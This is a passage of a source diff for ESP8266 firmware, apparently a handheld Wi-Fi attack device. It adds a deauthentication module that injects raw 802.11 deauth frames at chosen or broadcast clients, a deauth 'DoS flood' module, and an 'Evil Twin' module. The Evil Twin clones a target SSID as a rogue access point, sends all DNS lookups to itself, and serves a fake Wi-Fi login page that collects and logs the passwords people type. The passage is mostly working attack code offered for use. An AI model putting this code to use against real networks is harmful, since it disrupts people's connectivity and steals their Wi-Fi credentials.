// Ensure offset doesn't go past the last possible page start
|
||||
if (ap_display_offset > ap_count - items_per_page && ap_count > items_per_page) {
|
||||
ap_display_offset = ap_count - items_per_page;
|
||||
}
|
||||
if (ap_display_offset < 0) ap_display_offset = 0; // Should not happen, but safety check
|
||||
|
||||
Serial.printf("Selected AP index: %d, Offset: %d\n", selected_ap_index, ap_display_offset);
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
if (ap_count > 0) {
|
||||
Serial.println("Deauth Select AP: Long Press -> Select AP, Go to STA Select"); // <<< DEBUG
|
||||
// Select AP, store BSSID, SSID, Channel
|
||||
// ... (copy AP data) ...
|
||||
filter_stations_for_ap(); // Find stations for this AP
|
||||
currentDeauthState = DeauthStateType::SELECT_STA;
|
||||
selected_sta_index = 0; // Start at Broadcast
|
||||
sta_display_offset = 0;
|
||||
} else {
|
||||
Serial.println("Deauth Select AP: Long Press -> Exit (No APs)"); // <<< DEBUG
|
||||
// No APs to select, just exit back to main menu
|
||||
currentState = UIState::MAIN_MENU;
|
||||
currentMenuIndex = 0;
|
||||
}
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case DeauthStateType::SELECT_STA:
|
||||
{ // Braces for variable scope
|
||||
int total_sta_options = stations_of_selected_ap_count + 1; // +1 for Broadcast
|
||||
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
Serial.println("Deauth Select STA: Short Press -> Next STA/Broadcast"); // <<< DEBUG
|
||||
// ... (increment selected_sta_index, handle offset) ...
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Select STA/Broadcast and start attack
|
||||
Serial.println("--- Starting Deauth Attack ---"); // <<< DEBUG
|
||||
if (selected_sta_index == BROADCAST_STA_INDEX) {
|
||||
Serial.println("Selected Target STA: Broadcast");
|
||||
memcpy(deauth_target_sta_mac, broadcast_mac, 6);
|
||||
} else {
|
||||
int actual_sta_list_index = selected_sta_index - 1;
|
||||
if (actual_sta_list_index >= 0 && actual_sta_list_index < stations_of_selected_ap_count) {
|
||||
memcpy(deauth_target_sta_mac, stations_of_selected_ap[actual_sta_list_index].mac, 6);
|
||||
Serial.printf("Selected Target STA: %s\n", macToString(deauth_target_sta_mac).c_str()); // <<< DEBUG
|
||||
} else {
|
||||
Serial.println("ERROR: Invalid selected station index! Defaulting to Broadcast.");
|
||||
memcpy(deauth_target_sta_mac, broadcast_mac, 6);
|
||||
}
|
||||
}
|
||||
// Log target AP details again just before attack start
|
||||
Serial.printf("Target AP BSSID: %s\n", macToString(deauth_target_ap_bssid).c_str()); // <<< DEBUG
|
||||
Serial.printf("Target AP SSID: %s\n", deauth_target_ap_ssid); // <<< DEBUG
|
||||
Serial.printf("Target AP Channel: %d\n", target_channel); // <<< DEBUG
|
||||
|
||||
// Start attack state
|
||||
currentDeauthState = DeauthStateType::ATTACKING;
|
||||
deauth_attack_active = true;
|
||||
packets_sent = 0;
|
||||
current_attack_mode = 0; // Start with first attack mode
|
||||
last_attack_change = millis(); // Reset attack mode timer
|
||||
deauth_seq_num = 0; // Reset sequence number
|
||||
|
||||
// --- Set Channel ONCE to Target AP Channel ---
|
||||
Serial.printf("Deauth Start: Setting channel to %d\n", target_channel);
|
||||
wifi_set_channel(target_channel);
|
||||
delay(5); // Small delay after channel set
|
||||
// --- End Set Channel ONCE ---
|
||||
|
||||
Serial.println("Attack state entered (V1 Logic).");
|
||||
needsRedraw = true;
|
||||
}
|
||||
} // End braces for variable scope
|
||||
break;
|
||||
|
||||
case DeauthStateType::ATTACKING:
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Toggle attack pause/resume
|
||||
deauth_attack_active = !deauth_attack_active;
|
||||
Serial.printf("Deauth Attack: Short Press -> %s\n", deauth_attack_active ? "Attack Resumed" : "Attack Paused"); // <<< DEBUG
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Stop attack and return to AP selection
|
||||
deauth_attack_active = false;
|
||||
Serial.println("Deauth Attack: Long Press -> Stopping Attack, Returning to AP Select");
|
||||
currentDeauthState = DeauthStateType::SELECT_AP;
|
||||
// Optional: Disable promiscuous mode here?
|
||||
// wifi_promiscuous_enable(0);
|
||||
// Serial.println("Deauth Stop Attack: Disabled promiscuous mode.");
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Send Packet Burst (V1 Style) ---
|
||||
void send_packet_burst(uint8_t* packet, size_t packet_size, int count, bool change_seq) {
|
||||
// Ensure packet size is reasonable
|
||||
if (packet_size < 24) { // Minimum size for MAC headers + sequence
|
||||
Serial.println("!!! ERROR: send_packet_burst - packet_size too small!");
|
||||
return;
|
||||
}
|
||||
|
||||
// <<< Log packet details more often (e.g., once per mode change or periodically) >>>
|
||||
// This can be verbose, enable carefully
|
||||
// Serial.printf("send_packet_burst: Mode=%d, Size=%d, Count=%d\n", current_attack_mode, packet_size, count);
|
||||
// Serial.print(" Packet Hex: ");
|
||||
// for(size_t k=0; k<packet_size; ++k) Serial.printf("%02X ", packet[k]);
|
||||
// Serial.println();
|
||||
|
||||
for (int i = 0; i < count; ++i) {
|
||||
if (change_seq) {
|
||||
// Update sequence number in the packet (bytes 22-23)
|
||||
uint16_t seq_ctrl = (deauth_seq_num++ << 4) | 0;
|
||||
if (deauth_seq_num >= 4096) deauth_seq_num = 0;
|
||||
memcpy(packet + 22, &seq_ctrl, 2);
|
||||
}
|
||||
|
||||
// Send the packet
|
||||
int result = wifi_send_pkt_freedom(packet, packet_size, false); // Use sys_seq=false for manual sequence control
|
||||
|
||||
// <<< Log EVERY failure >>>
|
||||
if (result != 0) {
|
||||
Serial.printf("!!! Mode %d: wifi_send_pkt_freedom failed (Result: %d) on burst %d\n", current_attack_mode, result, i);
|
||||
// Consider adding a small delay here if failures are constant, maybe buffer is full? delay(1);
|
||||
}
|
||||
|
||||
// Minimal delay - V1 used DEAUTH_INTERVAL=0, but a tiny delay might help stability
|
||||
delayMicroseconds(100); // <<< INCREASED: Slightly longer delay between packets
|
||||
|
||||
// Yield occasionally within the burst to prevent WDT reset
|
||||
if (i % 10 == 0) { // <<< Yield more often within the burst
|
||||
yield();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Filter Stations for Selected AP ---
|
||||
void filter_stations_for_ap() {
|
||||
stations_of_selected_ap_count = 0;
|
||||
if (selected_ap_index < 0 || selected_ap_index >= ap_count) return; // Safety check
|
||||
|
||||
AccessPointInfo* target_ap = &ap_list[selected_ap_index];
|
||||
memcpy(deauth_target_ap_bssid, target_ap->bssid, 6);
|
||||
strncpy(deauth_target_ap_ssid, target_ap->ssid, 32);
|
||||
deauth_target_ap_ssid[32] = '\0'; // Ensure null termination
|
||||
target_channel = target_ap->channel;
|
||||
|
||||
Serial.printf("Filtering stations for AP: %s (%s)\n", deauth_target_ap_ssid, macToString(deauth_target_ap_bssid).c_str());
|
||||
|
||||
for (int i = 0; i < sta_count; ++i) {
|
||||
// Check if the station's associated AP BSSID matches the target AP's BSSID
|
||||
if (memcmp(sta_list[i].bssid_ap, deauth_target_ap_bssid, 6) == 0) {
|
||||
if (stations_of_selected_ap_count < MAX_STAS_PER_AP) {
|
||||
memcpy(&stations_of_selected_ap[stations_of_selected_ap_count], &sta_list[i], sizeof(StationInfo));
|
||||
stations_of_selected_ap_count++;
|
||||
Serial.printf(" Found matching STA: %s\n", macToString(sta_list[i].mac).c_str());
|
||||
} else {
|
||||
Serial.println(" Max stations for selected AP reached.");
|
||||
break; // Stop adding if the filtered list is full
|
||||
}
|
||||
}
|
||||
}
|
||||
Serial.printf("Found %d stations associated with the selected AP.\n", stations_of_selected_ap_count);
|
||||
}
|
52
src/deauth.h
Normal file
52
src/deauth.h
Normal file
@ -0,0 +1,52 @@
|
||||
#ifndef DEAUTH_H
|
||||
#define DEAUTH_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ESP8266WiFi.h> // For MAC address type
|
||||
#include "ui.h" // For ButtonPressType
|
||||
#include "scanner.h" // Include for StationInfo, frame_control_t etc.
|
||||
|
||||
// --- Deauth Module States ---
|
||||
enum class DeauthStateType {
|
||||
SELECT_AP, // Show list of APs from scanner
|
||||
SELECT_STA, // Show list of STAs for selected AP (and Broadcast option)
|
||||
ATTACKING // Sending deauth packets
|
||||
};
|
||||
|
||||
// --- Constants ---
|
||||
#define DEAUTH_PACKET_INTERVAL 50 // ms between sending packets
|
||||
#define MAX_STAS_PER_AP 15 // Max stations to display for a selected AP
|
||||
//#define BROADCAST_MAC {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // Define in .cpp instead
|
||||
extern const uint8_t broadcast_mac[6]; // <<< ADD extern declaration
|
||||
|
||||
// --- Target Information ---
|
||||
extern uint8_t deauth_target_ap_bssid[6];
|
||||
extern uint8_t deauth_target_sta_mac[6];
|
||||
extern char deauth_target_ap_ssid[33]; // Store SSID for display
|
||||
extern bool deauth_attack_active;
|
||||
extern uint8_t current_attack_mode; // <<< ADD extern declaration for UI access
|
||||
|
||||
// --- Function Declarations ---
|
||||
void deauth_init();
|
||||
void deauth_update();
|
||||
void deauth_stop();
|
||||
void deauth_draw(); // Function to draw deauth UI based on state
|
||||
void deauth_handle_input(ButtonPressType pressType); // Handle button presses
|
||||
|
||||
// Internal functions
|
||||
void send_deauth_packet(const uint8_t* ap_bssid, const uint8_t* sta_mac, uint8_t channel);
|
||||
|
||||
// SDK function for packet injection
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
// Function to send raw 802.11 frames (check SDK docs for exact signature/availability)
|
||||
// int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq); // Example signature
|
||||
// Let's assume this is the correct one for now. If compilation fails, we'll find the right one.
|
||||
int wifi_send_pkt_freedom(uint8_t *buf, int len, bool sys_seq);
|
||||
// Function to set fixed WiFi rate
|
||||
int wifi_set_user_fixed_rate(uint8_t enable_mask, uint8_t rate);
|
||||
// Function to set max TX power (already declared in .cpp, but good practice here too)
|
||||
void system_phy_set_max_tpw(uint8 max_tpw);
|
||||
}
|
||||
|
||||
#endif // DEAUTH_H
|
187
src/dos.cpp
Normal file
187
src/dos.cpp
Normal file
@ -0,0 +1,187 @@
|
||||
#include "dos.h"
|
||||
#include "utils.h" // For random MAC, macToString
|
||||
#include "config.h" // For screen dimensions etc.
|
||||
// #include "deauth.h" // <<< INCLUDE DEAUTH HEADER for its packet structure
|
||||
#include <U8g2lib.h> // For OLED drawing
|
||||
#include <ESP8266WiFi.h> // For wifi_set_channel, wifi_send_pkt_freedom
|
||||
|
||||
// --- SDK Function Declarations ---
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
// Declare wifi_send_pkt_freedom if not already globally available
|
||||
// int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
|
||||
}
|
||||
|
||||
// --- Copied Deauth Packet Structure (WORKAROUND) ---
|
||||
// Define it here temporarily to resolve compilation error
|
||||
typedef struct {
|
||||
struct {
|
||||
uint8_t protocol_version : 2;
|
||||
uint8_t type : 2; // 0 = Management
|
||||
uint8_t subtype : 4; // 12 = Deauthentication
|
||||
uint8_t flags;
|
||||
} __attribute__((packed)) frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6]; // Destination MAC (Receiver)
|
||||
uint8_t addr2[6]; // Source MAC (Transmitter)
|
||||
uint8_t addr3[6]; // BSSID (AP MAC)
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t reason_code;
|
||||
} __attribute__((packed)) deauth_packet_t; // Make sure this name matches what's used below
|
||||
|
||||
// --- Define Broadcast MAC locally ---
|
||||
static const uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // <<< ADD BACK DEFINITION
|
||||
|
||||
// --- External UI Elements ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
||||
extern bool needsRedraw;
|
||||
extern UIState currentState; // To return to main menu
|
||||
|
||||
// --- Internal State ---
|
||||
bool dos_flood_active = false; // Definition of the flag
|
||||
static uint8_t current_dos_channel = 1;
|
||||
static unsigned long last_dos_packet_time = 0;
|
||||
// static unsigned long last_dos_channel_hop_time = 0; // <<< No longer needed
|
||||
static unsigned long last_dos_redraw_time = 0;
|
||||
static uint32_t dos_packets_sent = 0;
|
||||
|
||||
// --- Packet Buffer ---
|
||||
static deauth_packet_t dos_packet_buffer; // <<< USE deauth_packet_t from deauth.h
|
||||
|
||||
// --- Initialization ---
|
||||
void dos_init() {
|
||||
Serial.println("DoS Module Initialized (Broadcast Deauth Flood).");
|
||||
Serial.printf("DoS Init: Calculated deauth_packet_t size: %d bytes\n", sizeof(deauth_packet_t)); // <<< CORRECT SIZEOF ARGUMENT
|
||||
dos_flood_active = false;
|
||||
current_dos_channel = 1;
|
||||
last_dos_packet_time = 0;
|
||||
last_dos_redraw_time = 0;
|
||||
dos_packets_sent = 0;
|
||||
// Don't enable promiscuous mode or set channel here, wait for start
|
||||
}
|
||||
|
||||
// --- Stop Function ---
|
||||
void dos_stop() {
|
||||
if (dos_flood_active) {
|
||||
dos_flood_active = false;
|
||||
Serial.println("DoS Flood Stopped.");
|
||||
wifi_promiscuous_enable(0); // Disable promiscuous mode
|
||||
Serial.println("DoS Stop: Disabled promiscuous mode.");
|
||||
// Optional: Restore original channel?
|
||||
needsRedraw = true; // Redraw UI to show stopped state
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Update Loop ---
|
||||
void dos_update() {
|
||||
if (!dos_flood_active) { // <<< RESTORE: Only run when active
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned long current_time = millis();
|
||||
bool packet_sent_this_cycle = false;
|
||||
|
||||
// --- REMOVED Channel Hopping Logic ---
|
||||
|
||||
// --- Send Deauth Packet (Targeting Self) ---
|
||||
if (current_time - last_dos_packet_time > DOS_PACKET_INTERVAL) {
|
||||
// 1. Get device's own MAC
|
||||
uint8_t station_mac[6];
|
||||
wifi_get_macaddr(STATION_IF, station_mac);
|
||||
|
||||
// 2. Fill packet structure (using deauth_packet_t fields)
|
||||
dos_packet_buffer.frame_control.type = 0; // Management frame
|
||||
dos_packet_buffer.frame_control.subtype = 12; // Deauthentication subtype
|
||||
dos_packet_buffer.duration_id = 0; // Or 314 microseconds
|
||||
memcpy(dos_packet_buffer.addr1, station_mac, 6); // <<< Destination: Send to SELF for testing
|
||||
memcpy(dos_packet_buffer.addr2, station_mac, 6); // Source: Use device's own MAC
|
||||
memcpy(dos_packet_buffer.addr3, station_mac, 6); // BSSID: Use device's own MAC
|
||||
dos_packet_buffer.seq_ctrl = 0; // SDK handles sequence if sys_seq=true, otherwise 0 is fine
|
||||
dos_packet_buffer.reason_code = 1; // Reason: Unspecified
|
||||
|
||||
// 3. Send packet
|
||||
int result = wifi_send_pkt_freedom((uint8_t*)&dos_packet_buffer, sizeof(deauth_packet_t), true); // sys_seq=true
|
||||
|
||||
// 4. Log and count
|
||||
if (result == 0) {
|
||||
dos_packets_sent++;
|
||||
packet_sent_this_cycle = true;
|
||||
} else {
|
||||
Serial.printf("!!! DoS Send (Self): Ch=%d -> FAIL (Result: %d)\n", current_dos_channel, result); // Update log message
|
||||
}
|
||||
last_dos_packet_time = current_time;
|
||||
}
|
||||
|
||||
// --- Trigger Redraw Periodically ---
|
||||
if (packet_sent_this_cycle && (current_time - last_dos_redraw_time > 500)) { // Update ~2 times/sec
|
||||
needsRedraw = true;
|
||||
last_dos_redraw_time = current_time;
|
||||
}
|
||||
|
||||
yield(); // Prevent WDT reset
|
||||
}
|
||||
|
||||
// --- UI Drawing Function ---
|
||||
void dos_draw() {
|
||||
oled.setFont(u8g2_font_6x10_tf);
|
||||
|
||||
if (dos_flood_active) {
|
||||
oled.drawStr(0, 25, "DoS Flood Active!");
|
||||
char count_str[30];
|
||||
snprintf(count_str, sizeof(count_str), "Sent: %lu", dos_packets_sent);
|
||||
oled.drawStr(0, 40, count_str);
|
||||
char chan_str[20];
|
||||
snprintf(chan_str, sizeof(chan_str), "Channel: %d (Fixed)", current_dos_channel);
|
||||
oled.drawStr(0, 55, chan_str);
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Stop");
|
||||
} else {
|
||||
oled.drawStr(0, 30, "DoS Flood Ready");
|
||||
oled.drawStr(0, 45, "(Broadcast Deauth)");
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Start");
|
||||
}
|
||||
}
|
||||
|
||||
// --- Input Handling Function ---
|
||||
void dos_handle_input(ButtonPressType pressType) {
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
if (dos_flood_active) {
|
||||
// Stop the flood
|
||||
dos_stop();
|
||||
// dos_flood_active is set to false inside dos_stop()
|
||||
} else {
|
||||
// Start the flood (targeting self for now)
|
||||
dos_flood_active = true;
|
||||
dos_packets_sent = 0; // Reset counter
|
||||
current_dos_channel = 1; // Set FIXED channel
|
||||
Serial.println("DoS Flood Started (Targeting Self).");
|
||||
|
||||
// <<< ADD WiFi Reset Steps >>>
|
||||
Serial.println("DoS Start: Disconnecting WiFi...");
|
||||
WiFi.disconnect(); // Force disconnect to reset state
|
||||
delay(100); // Allow time for disconnect to process
|
||||
|
||||
wifi_set_opmode(STATION_MODE); // <<< Explicitly set STA mode
|
||||
Serial.println("DoS Start: Set opmode to STATION_MODE.");
|
||||
delay(50); // Short delay after setting mode
|
||||
|
||||
wifi_promiscuous_enable(1); // Enable promiscuous mode
|
||||
Serial.println("DoS Start: Enabled promiscuous mode.");
|
||||
delay(50); // Short delay after enabling promiscuous
|
||||
|
||||
bool channel_set_ok = wifi_set_channel(current_dos_channel); // Set initial channel
|
||||
if (!channel_set_ok) {
|
||||
Serial.printf("DoS Start: Set initial channel %d -> FAIL\n", current_dos_channel);
|
||||
wifi_promiscuous_enable(0); // Clean up on failure
|
||||
dos_flood_active = false; // Don't start if channel set failed
|
||||
return; // Don't proceed if channel set failed
|
||||
} else {
|
||||
Serial.printf("DoS Start: Set initial channel %d -> OK\n", current_dos_channel);
|
||||
delay(5); // Short delay after channel set
|
||||
}
|
||||
last_dos_packet_time = millis(); // Initialize timers
|
||||
last_dos_redraw_time = millis();
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
// Short press currently does nothing in this mode
|
||||
}
|
21
src/dos.h
Normal file
21
src/dos.h
Normal file
@ -0,0 +1,21 @@
|
||||
#ifndef DOS_H
|
||||
#define DOS_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include "ui.h" // For ButtonPressType, needsRedraw, etc.
|
||||
|
||||
// --- Constants ---
|
||||
#define DOS_PACKET_INTERVAL 50 // Milliseconds between packets (Increased for testing)
|
||||
#define DOS_CHANNEL_HOP_INTERVAL 250 // Milliseconds on each channel
|
||||
|
||||
// --- State ---
|
||||
extern bool dos_flood_active; // Make active flag visible externally if needed
|
||||
|
||||
// --- Function Prototypes ---
|
||||
void dos_init();
|
||||
void dos_stop();
|
||||
void dos_update();
|
||||
void dos_draw();
|
||||
void dos_handle_input(ButtonPressType pressType);
|
||||
|
||||
#endif // DOS_H
|
633
src/mitm.cpp
Normal file
633
src/mitm.cpp
Normal file
@ -0,0 +1,633 @@
|
||||
#include "mitm.h"
|
||||
#include "config.h"
|
||||
#include "utils.h"
|
||||
#include "ui.h" // For needsRedraw, oled access
|
||||
#include "scanner.h" // <<< Include scanner header for AP list access
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <DNSServer.h> // For DNS Spoofing
|
||||
#include <ESP8266WebServer.h> // For Captive Portal
|
||||
|
||||
// --- External UI Elements ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
||||
extern bool needsRedraw;
|
||||
extern UIState currentState; // To potentially switch back to main menu
|
||||
|
||||
// --- MitM Module State ---
|
||||
static MitmState currentMitmState = MITM_STATE_IDLE;
|
||||
static char target_ssid[33] = "[No Target]"; // Store selected target SSID
|
||||
static uint8_t target_bssid[6] = {0}; // Store selected target BSSID (optional, for deauth)
|
||||
static char captured_password[65] = ""; // To store captured password
|
||||
static IPAddress apIP(192, 168, 4, 1); // IP address for the Rogue AP
|
||||
static IPAddress netMsk(255, 255, 255, 0);
|
||||
|
||||
// --- Target Selection State ---
|
||||
static int mitm_selected_ap_index = 0; // Index in the scanner's ap_list
|
||||
static int mitm_display_offset = 0; // For scrolling the AP list
|
||||
|
||||
// --- Captured Password Count ---
|
||||
static int captured_password_count = 0; // Count how many passwords have been submitted
|
||||
|
||||
// --- Logged Password Storage ---
|
||||
const int MAX_LOGGED_PASSWORDS = 10;
|
||||
const int MAX_PASSWORD_LEN = 64; // Max length for a single password (+1 for null)
|
||||
static char logged_passwords[MAX_LOGGED_PASSWORDS][MAX_PASSWORD_LEN + 1];
|
||||
static int logged_password_idx = 0; // Index for the *next* slot to write to (circular buffer)
|
||||
static int view_log_scroll_offset = 0; // For scrolling the log view on OLED
|
||||
|
||||
// --- Login Error State ---
|
||||
static bool show_login_error = false; // Flag to indicate if the error message should be shown
|
||||
|
||||
// --- Waiting Animation State ---
|
||||
static char waiting_anim_char = '|';
|
||||
static unsigned long last_anim_time = 0;
|
||||
const unsigned long ANIM_INTERVAL = 250; // Milliseconds between animation frames
|
||||
|
||||
// --- Capture Alarm State ---
|
||||
static bool new_password_captured = false; // Flag set when a new password arrives
|
||||
static unsigned long capture_alarm_start_time = 0; // When the alarm started
|
||||
const unsigned long CAPTURE_ALARM_DURATION = 1500; // How long the alarm effect lasts (milliseconds)
|
||||
|
||||
// --- Logged Blinking State ---
|
||||
const unsigned long LOGGED_BLINK_INTERVAL = 500; // Blink rate (milliseconds on/off)
|
||||
static unsigned long last_blink_time = 0; // Timer for blinking redraw trigger
|
||||
static bool logged_text_visible = true; // State for blinking visibility
|
||||
|
||||
// --- Server Instances ---
|
||||
DNSServer dnsServer;
|
||||
ESP8266WebServer webServer(80); // Web server on port 80
|
||||
|
||||
// --- Captive Portal HTML ---
|
||||
// Basic HTML for a fake login page. Can be customized extensively.
|
||||
const char* captivePortalHTML = R"rawliteral(
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>WiFi Login</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; background-color: #f0f0f0; text-align: center; padding-top: 50px; }
|
||||
.container { background-color: #fff; padding: 20px; border-radius: 8px; display: inline-block; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
|
||||
input[type=text], input[type=password] { width: 90%; padding: 12px 20px; margin: 8px 0; display: inline-block; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
|
||||
button { background-color: #4CAF50; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; width: 90%; }
|
||||
button:hover { opacity: 0.8; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h2>Connect to WiFi</h2>
|
||||
<p>Please enter the password for '%s'</p> <!-- SSID placeholder -->
|
||||
<p style="color:red;">%s</p> <!-- Error Message placeholder -->
|
||||
<form action="/login" method="POST">
|
||||
<input type="password" id="password" name="password" placeholder="Password" required><br>
|
||||
<button type="submit">Connect</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
)rawliteral";
|
||||
|
||||
// --- Forward Declarations for Web Handlers ---
|
||||
void handleRoot();
|
||||
void handleLogin();
|
||||
void handleNotFound();
|
||||
void sendCaptivePortalHTML(const char* ssid, const char* error_message); // Helper function
|
||||
|
||||
// --- Initialization ---
|
||||
void mitm_init() {
|
||||
Serial.println("MitM Module Initialized.");
|
||||
currentMitmState = MITM_STATE_IDLE;
|
||||
strncpy(target_ssid, "[No Target]", sizeof(target_ssid) -1); // Initialize with no target
|
||||
// Any other one-time setup
|
||||
}
|
||||
|
||||
// --- Start MitM Attack ---
|
||||
void mitm_start() {
|
||||
// Prevent starting only if already active or transitioning
|
||||
if (currentMitmState == MITM_STATE_STARTING ||
|
||||
currentMitmState == MITM_STATE_RUNNING ||
|
||||
currentMitmState == MITM_STATE_STOPPING) {
|
||||
Serial.println("MitM Start: Already running or starting.");
|
||||
return;
|
||||
}
|
||||
// Check if a valid target has been selected
|
||||
if (strcmp(target_ssid, "[No Target]") == 0 || target_ssid[0] == '\0') {
|
||||
Serial.println("MitM Start: No target AP selected!");
|
||||
// Optionally switch back to select state or show error on OLED?
|
||||
// For now, just return.
|
||||
return;
|
||||
}
|
||||
Serial.println("MitM Starting...");
|
||||
currentMitmState = MITM_STATE_STARTING;
|
||||
needsRedraw = true;
|
||||
|
||||
// Clear previous logs and counters on new start
|
||||
captured_password_count = 0;
|
||||
logged_password_idx = 0;
|
||||
view_log_scroll_offset = 0;
|
||||
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
|
||||
|
||||
// TODO:
|
||||
// 1. Configure and start Rogue AP (WiFi.softAPConfig, WiFi.softAP)
|
||||
// 2. Configure and start DNS Server (dnsServer.start)
|
||||
// 3. Configure Web Server handlers (webServer.on, webServer.onNotFound)
|
||||
// 4. Start Web Server (webServer.begin)
|
||||
// 5. Optionally start Deauth attack against real AP
|
||||
|
||||
// --- Placeholder Setup ---
|
||||
Serial.printf("MitM: Setting up Evil Twin AP: %s\n", target_ssid);
|
||||
WiFi.mode(WIFI_AP); // Switch to AP mode
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
// Use an open network for simplicity first, add password later if needed
|
||||
bool ap_started = WiFi.softAP(target_ssid);
|
||||
|
||||
if (ap_started) {
|
||||
Serial.printf("MitM: Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str());
|
||||
|
||||
// Start DNS
|
||||
Serial.println("MitM: Starting DNS Server.");
|
||||
// Redirect all domains to our AP's IP address
|
||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer.start(53, "*", apIP); // Port 53, capture all domains
|
||||
|
||||
// Start Web Server (Define handlers later)
|
||||
Serial.println("MitM: Starting Web Server.");
|
||||
webServer.on("/", HTTP_GET, handleRoot); // Serve the login page
|
||||
webServer.on("/login", HTTP_POST, handleLogin); // Handle form submission
|
||||
webServer.onNotFound(handleNotFound); // Redirect other requests (Captive Portal)
|
||||
webServer.begin();
|
||||
|
||||
Serial.println("MitM: Running.");
|
||||
currentMitmState = MITM_STATE_RUNNING;
|
||||
} else {
|
||||
Serial.println("!!! MitM: Failed to start Rogue AP!");
|
||||
mitm_stop(); // Cleanup on failure
|
||||
}
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Stop MitM Attack ---
|
||||
void mitm_stop() {
|
||||
Serial.println("MitM Stopping...");
|
||||
currentMitmState = MITM_STATE_STOPPING;
|
||||
|
||||
// Stop servers and WiFi AP
|
||||
webServer.stop();
|
||||
dnsServer.stop();
|
||||
WiFi.softAPdisconnect(true); // Disconnect clients and stop AP
|
||||
WiFi.mode(WIFI_STA); // Return to STA mode
|
||||
WiFi.disconnect(); // Disconnect from any network
|
||||
|
||||
// Clear captured data
|
||||
memset(captured_password, 0, sizeof(captured_password));
|
||||
|
||||
// Clear captured data count
|
||||
captured_password_count = 0;
|
||||
|
||||
// Clear log state
|
||||
logged_password_idx = 0;
|
||||
view_log_scroll_offset = 0;
|
||||
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
|
||||
|
||||
Serial.println("MitM Stopped.");
|
||||
currentMitmState = MITM_STATE_IDLE;
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Main Update Loop ---
|
||||
void mitm_update() {
|
||||
// Only run updates if the MitM module is in the RUNNING state
|
||||
if (currentMitmState == MITM_STATE_RUNNING) {
|
||||
|
||||
// --- Handle Network Tasks ---
|
||||
// Process any incoming DNS requests (for captive portal redirection)
|
||||
dnsServer.processNextRequest();
|
||||
// Process any incoming web requests to the captive portal server
|
||||
webServer.handleClient();
|
||||
|
||||
// --- Handle UI Updates (Animation/Blinking) ---
|
||||
// Get the current time once to use for timing checks below
|
||||
unsigned long currentMillis = millis();
|
||||
|
||||
// Check if any passwords have been captured yet
|
||||
if (captured_password_count == 0) {
|
||||
// --- No passwords captured: Update "Waiting..." Animation ---
|
||||
// Check if it's time for the next animation frame
|
||||
if (currentMillis - last_anim_time > ANIM_INTERVAL) {
|
||||
last_anim_time = currentMillis; // Reset the animation timer
|
||||
|
||||
// Cycle through the animation characters: | / - \
|
||||
// This switch statement selects the next character based on the current one
|
||||
switch (waiting_anim_char) {
|
||||
case '|': waiting_anim_char = '/'; break;
|
||||
case '/': waiting_anim_char = '-'; break;
|
||||
case '-': waiting_anim_char = '\\'; break; // Use double backslash for the character
|
||||
case '\\': waiting_anim_char = '|'; break;
|
||||
default: waiting_anim_char = '|'; break; // If something unexpected happens, reset
|
||||
} // End of switch statement
|
||||
|
||||
// We need to redraw the screen to show the new animation character
|
||||
needsRedraw = true;
|
||||
}
|
||||
} else {
|
||||
// --- Passwords HAVE been captured: Update "Logged: X" Blinking ---
|
||||
// Check if it's time to toggle the blink state (on/off)
|
||||
if (currentMillis - last_blink_time > LOGGED_BLINK_INTERVAL) {
|
||||
last_blink_time = currentMillis; // Reset the blink timer
|
||||
// We need to redraw the screen to potentially change the visibility
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
} // End of if (currentMitmState == MITM_STATE_RUNNING)
|
||||
|
||||
// You could add other state updates outside the RUNNING check if needed
|
||||
// For example, handling timeouts or other background tasks for MitM.
|
||||
} // End of mitm_update function
|
||||
|
||||
